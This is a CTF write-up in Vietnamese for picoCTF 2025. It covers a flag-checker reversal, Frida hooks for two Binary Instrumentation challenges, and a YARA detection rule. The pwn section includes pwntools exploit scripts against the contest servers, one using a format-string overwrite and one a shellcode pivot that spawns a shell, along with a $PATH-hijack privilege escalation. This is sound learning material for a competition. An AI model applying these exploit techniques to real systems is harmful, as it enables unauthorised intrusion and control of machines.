# picoCTF 2025 > Giải này mình chơi với team aespaFanClub, mình đánh giá các challenge không quá khó. Mình clear được Reverse, Pwn và 4 câu General(3 Rust + 1 Yara). Vì để tiết kiệm thời gian (thật ra là lười) nên mình sẽ không nói hết tất cả challenges mà chỉ nói những câu ít solve hơn mấy câu khác. ## Reverse ### perplexed Đây là một bài flag checker căn bản, bật IDA lên: ![image](https://hackmd.io/_uploads/SJUt8YYj1g.png) Nếu bit bên vế bên trái bật thì bit vế bên phải cũng bật... Viết lại script để a1[v11] |= v5 ở đúng vị trí mà bit v6 ở v4 bật thôi... Mà còn 1 vấn đề nữa là vòng for nó chỉ lấy 23 bytes của v4 nên mình sẽ phải bỏ 1 byte ở v4. Script: ``` python #!/usr/bin/python3 # from block_chain import * from pwn import * v4 = p64(0x617B2375F81EA7E1) + p64(0xD269DF5B5AFC9DB9) + p64(0xF467EDF4ED1BFE) v4 = list(v4) # print(v4) a1 = [0] * 27 v11 = 0 v10 = 0 v7 = 0 for i in range(0x17): for j in range(8): if v10 == 0: v10 = 1 v6 = 1 << (7 - j) v5 = 1 << (7 - v10) if (v4[i] & v6) > 0: a1[v11] |= v5 else: a1[v11] = (~v5 & 0xff) & a1[v11] v10 += 1 if v10 == 8: v10 = 0 v11 += 1 v2 = v11 # if v2 == 27: # break print(bytes(a1)) # picoCTF{0n3_bi7_4t_a_7im3} ``` ### Quantum Scrambler Bài này mình thật sự ngoại cảm ra flag (giờ đó mình buồn ngủ lắm rồi :<), để giải thích thì nhìn kĩ output thì thứ quan trọng thật sự của mỗi vector là phần tử đầu tiên và phần tử cuối cùng(đọc code cũng chứng minh điều đó). ### Chronohack Bài này ngồi brute force để xem time nào chuẩn nhất thôi... Mình quên lưu script luôn gòi nên nói vậy thôi... ### Binary Instrumentation 1 Sau giải mình đã tìm ra một sol khác (theo mình thấy là đẹp hơn sol Frida) cho 2 bài Binary Instrumentation này, nếu có cơ hội được seminar thì mình sẽ đem ra demo cho các bạn. Về sol bài này thì nó có một cái Sleep nên khi chạy thì chương trình sẽ dừng luôn một chỗ, mình hook Sleep gán bằng 0. [Đây](https://lehonghai.com/frida-102-tracing-and-hooking-windows-api) là một nguồn các bạn có thể tham khảo để biết thêm về cách dùng frida để hook các hàm Windows API. Script tham khảo: ``` js Interceptor.attach(Module.getExportByName('kernel32.dll', 'Sleep'), { onEnter: function (args) { var dwMilliseconds = args[0].toInt32(); console.log('[*] Sleep called with dwMilliseconds: ' + dwMilliseconds); args[0] = ptr(0); console.log(' Sleep time modified to 0ms'); }, onLeave: function (retval) { console.log(' Sleep returned'); } }); ``` ### Binary Instrumentation 2 Để biết nó hook hàm gì thì mình search các hàm liên quan tới Create và Write. Lúc đầu thì mình chỉ trace được là nó có dùng CreateFileA, nhưng không có write gì cả ? Tới khúc này phải in ra các tham số mà nó nhận. ``` js Interceptor.attach(Module.getExportByName('kernel32.dll', 'CreateFileA'), { onEnter: function (args) { var lpFileName = args[0].readUtf8String(); console.log('[*] CreateFileA called'); console.log(' lpFileName: "' + lpFileName + '"'); }, onLeave: function (retval) { console.log(' CreateFileA returned: ' + retval); } }); ``` Khúc này mình nhớ là `args[0]` nó chính là cái chuỗi `<insert path here>` hay gì đấy. Khúc này hook để thay đổi giá trị của `args[0]` thôi. Nhưng điều quan trọng nhất là phải cho nó **Run as administrator** nhé :)) Mình mất kha khá thời gian vì cái vấn đề này. Ngồi đọc [docs](https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea) của `CreateFileA` thì mình thấy còn mấy cái `arguments` khác nữa và giá trị nó mình thấy không ổn lắm nên để cho an toàn mình đổi luôn tụi nó. ``` js var buf = Memory.allocUtf8String('C:\\flag.txt'); Interceptor.attach(Module.getExportByName('kernel32.dll', 'CreateFileA'), { onEnter: function (args) { args[0] = buf; args[1] = ptr(0xC0000000); args[2] = ptr(0x3); }, onLeave: function (retval) { console.log(' CreateFileA returned: ' + retval); } }); ``` À cái `onLeave` khá quan trọng, nó giúp mình test thử xem `CreateFileA` có hoạt động đúng như mong muốn của mình không, nếu nó trả về `-1` thì chắc chắn là sai rồi. Không có nó chắc mình không chạy **Run as Administrator** đâu :))) Giờ hook `CreateFileA` xong rồi thì chạy thử thôi lets go. Nhưng đời không như là mơ... File `flag.txt` trống rỗng. Ủa là sao ? Để giải đáp câu hỏi đó thì mình phải biết là nó `Write` cái gì. Mà để biết nó `write` cái gì thì mình phải biết hàm nào đảm nhận trách nhiệm `Write`. Đoạn này thì hook thử mấy hàm có chức năng `Write` của WindowsAPI để xem hàm nào làm việc đó... Thì hàm đó chính là `WriteFile`. Ngồi hook in ra các `args` thử thì mới biết vấn đề là do `nNumberOfBytesToWrite` nó = 0 nên không write gì cả. Vậy thì gán nó bằng một giá trị đủ lớn xong xem thử nó in ra cái gì ra file `flag.txt` của mình. Xong mở thử file `flag.txt` ra cái chuỗi sú sú giống bài trước, ném vào `CyberChef` là ra flag. ``` js var buf = Memory.allocUtf8String('C:\\flag.txt'); Interceptor.attach(Module.getExportByName('kernel32.dll', 'CreateFileA'), { onEnter: function (args) { args[0] = buf; args[1] = ptr(0xC0000000); args[2] = ptr(0x3); }, onLeave: function (retval) { console.log(' CreateFileA returned: ' + retval); } }); Interceptor.attach(Module.getExportByName('kernel32.dll', 'WriteFile'), { onEnter: function (args) { var hFile = args[0]; var lpBuffer = args[1]; var nNumberOfBytesToWrite = args[2].toInt32(); var data = lpBuffer.readUtf8String(nNumberOfBytesToWrite); // args[1] = buf; args[2] = ptr(0x1000); console.log('[*] WriteFile called'); console.log(' hFile: ' + hFile); console.log(' Data: "' + data + '"'); console.log(' Bytes to write: ' + nNumberOfBytesToWrite); }, onLeave: function (retval) { console.log(' WriteFile returned: ' + (retval.toInt32() ? 'TRUE' : 'FALSE')); } }); ``` Trong quá trình làm bài này mình phát hiện ra rằng hàm CreateFileA có ở "kernel32.dll" và 1 cái ở "KERNELBASE.dll" (không biết có tác dụng gì không nhưng trong lúc test code mình đã tận dụng nó để xem argument nhận vào có đúng với mong muốn của mình không), và cái khúc chỉ cần giải quyết bằng việc **Run as Administrator** đó thật sự rất ngốn nhiều thời gian của mình =))))). > Đề rev lần này đã giúp mình học được cách sử dụng Frida, giờ tới Pwn nào lets go. ## Pwn > Hic mình quá lười để viết writeup về mảng này :)) Trước giờ toàn viết reverse thôi hjxhjx. ### Hash Only: Quá lười nên mình gộp 2 cái lại thành một, nếu các bạn từng làm `pwn.college` thì sẽ biết tới `privilege escalation`, thì bài này cũng kiểu kiểu đấy. Tư tưởng của mình sẽ điều hướng sao cho `md5sum` làm những điều mà hoàn toàn khác với ý định của nó. Bài 1 thì mình chỉnh lại cái `$PATH` để nó khác `/usr/bin`, rồi viết script gì đó vào cái md5sum ở cái thư mục mà mình gán vào cái `$PATH`. Lúc này nó sẽ không thực hiện `/usr/bin/md5` mà nó sẽ thực hiện `/tmp/md5` (mình bỏ ở tmp cho tiện). Về challenge 2 thì nó có thêm cái rbash gì đó, nhưng khi mình gõ `bash` thì nó lại trở về y chang challenge 1, đến khúc này thì mấy bạn biết làm gì rồi đó. ### PIE TIME 2: Bổ sung kiến thức nhẹ cho người mất gốc format string, là thứ tự leak của fmstr sẽ giống calling convention là từ `rdi -> rsi -> rdx -> rcx -> r8 -> r9 -> rsp -> rsp+8 -> ...`. Để leak thì dùng `%{index}$p` là được. Rồi đến khúc này thì leak ra khúc nào đó chung `segment` với `win` (bật `vmmap` lên để xem) rồi tính offset tới hàm `win`. Có hàm `win` rùi là xong rồi đó. Bài này mình `nc` thẳng để giải luôn vì chỉ cần cộng trừ offset là xong. ### Echo Valley: Lại là một bài format string (mình làm rất ít format string, cảm ơn challenge này đã giúp mình bổ sung kiến thức :D). Mình sẽ chỉ nói ý tưởng chính thui nhé: - Leak hàm `main` để lấy địa chỉ hàm `win` - Xác định `RIP` nằm ở vị trí nào trong `stack` - Trùng hợp rằng vị trí mình leak hàm `main` cũng chính là `RIP`. - Nhưng nếu muốn ghi đè `RIP` ở trong `stack` thì ta phải leak `stack`. Vậy tổng cộng là 2 lần leak Mình chơi Reverse nên mình không nhớ cụ thể lắm cách craft payload format string như nào. Mình chỉ biết cụ thể offset nó ở đâu thôi nên mình sẽ nhờ fmtstr_payload của pwntools cứu mình. Script: ```python #!/usr/bin/python3 from pwn import * context.log_level = "debug" context.arch = 'amd64' p = process('./valley') p = remote('shape-facility.picoctf.net', 57859) p.sendline(b'%21$p') p.recvuntil(b'You heard in the distance: ') leak = int(p.recvline()[:-1], 16) log.info(hex(leak)) win = leak - 426 log.info(hex(win)) p.sendline(b'%20$p') p.recvuntil(b'You heard in the distance: ') stack_leak = int(p.recvline()[:-1], 16) - 0x8 log.info(hex(stack_leak)) payload = fmtstr_payload(6, {stack_leak: p16(win & 0xffff)}) p.sendline(payload) p.sendline(b'exit') p.interactive() # picoctf{f1ckl3_f0rmat_f1asc0} ``` ### handoff Bài này checksec đỏ lè, thơm phức luôn: ![image](https://hackmd.io/_uploads/H1hng5FoJx.png) Lụm, shellcode thẳng tiến còn chờ gì nữa giáo sư? Lí do để dẫn tới suy nghĩ này của mình thì đây là cách dễ dàng nhất trong tất cả các cách. (Ret2Libc ? ROP ? Ret2Csu ? thôi khó quá bỏ qua). Mở IDA lên nào lets go: ![image](https://hackmd.io/_uploads/Bk6mb5Yikg.png) Bài này nó chỉ cho mình overflow có `20 bytes` thui à. Nhưng trước đó thì ta có thể nhập shellcode ở chỗ khác: ![image](https://hackmd.io/_uploads/SyNPW5YjJe.png) Thật ra thì tới khúc này thì mình có nhớ lại 1 clip của anh `JHT Pwner`, có cái gì đó `Egg Hunter` đại loại chính là ý tưởng mình cần làm ở bài này đó là tạo ra một shellcode ngắn để tìm ra shellcode chính của mình. Nhưng mình bỏ time ra xem clip thì thấy không liên quan lắm nên bay thẳng vô debug thoi. Ở những bài shellcode như này mình thường abuse `jmp rax`. Và bài này cũng có gadget `jmp rax` nên... Càng củng cố niềm tin cho mình vào shellcode. Rồi khúc này mình debug cũng phải cỡ 2 tiếng (ngồi mò xem shellcode ở đâu so với vị trí mình return)... Nhưng mình đã nói hết ý tưởng chính rồi nên phải kết thúc ở đây thôi nhỉ :v Script: ``` python #!/usr/bin/python3 from pwn import * # context.log_level = "debug" context.arch = 'amd64' context.binary = elf = ELF('./handoff') # p = process('./handoff') p = remote('shape-facility.picoctf.net', 64440) # input() jmp_rax = 0x000000000040116c payload = asm(''' mov rax, rsp sub rax, 744 jmp rax ''') payload = payload.ljust(20, b'\x00') payload += p64(jmp_rax) p.sendline(b'1') p.sendline(b'sup3rshy') p.sendline(b'2') p.sendline(b'0') p.sendline(asm(shellcraft.sh())) p.sendline(b'3') p.sendline(payload) p.interactive() # picoCTF{p1v0ted_ftw_440a61fe} ``` > Pwn đợt này ko có heap nên cũng không khó lắm nhỉ... ## General Vì mấy bài Rust mình thấy không có gì để nói lắm, cứ `cargo build` rồi `cargo run` là ra flag à. ### YaraRules0x100: Hmm tóm lại là viết một cái `Yara Rules` để detect sao cho chuẩn nhất thì nó sẽ nhả flag cho mình. Mình ngồi thử một hồi thì nó ra flag thật... ``` yara rule UPX { meta: author = "sup3rshy" strings: $s1 = "UPX!" ascii $s2 = "UPX0" ascii $s3 = "UPX1" ascii condition: 1 of them } rule sup3rsus { meta: author = "sup3rshy" strings: $s1 = "ntdll.dll" wide ascii $s2 = "NtQueryInformationProcess" ascii $s3 = "CreateToolhelp32Snapshot" wide ascii $s4 = "SeDebugPrivilege" wide ascii $s5 = "OpenProcessToken" wide ascii $s6 = "LookupPrivilegeValue" wide ascii $s7 = "AdjustTokenPrivileges" wide ascii $s8 = "malware" wide ascii $s9 = "Debugger Detected" wide ascii $s10 = "IsDebuggerPresent" ascii $s11 = "IsProcessorFeaturePresent" ascii condition: 8 of them } ``` Mình biết rằng code này rất không optimal nên mình sẽ đợi writeup của người khác để xem họ làm gì...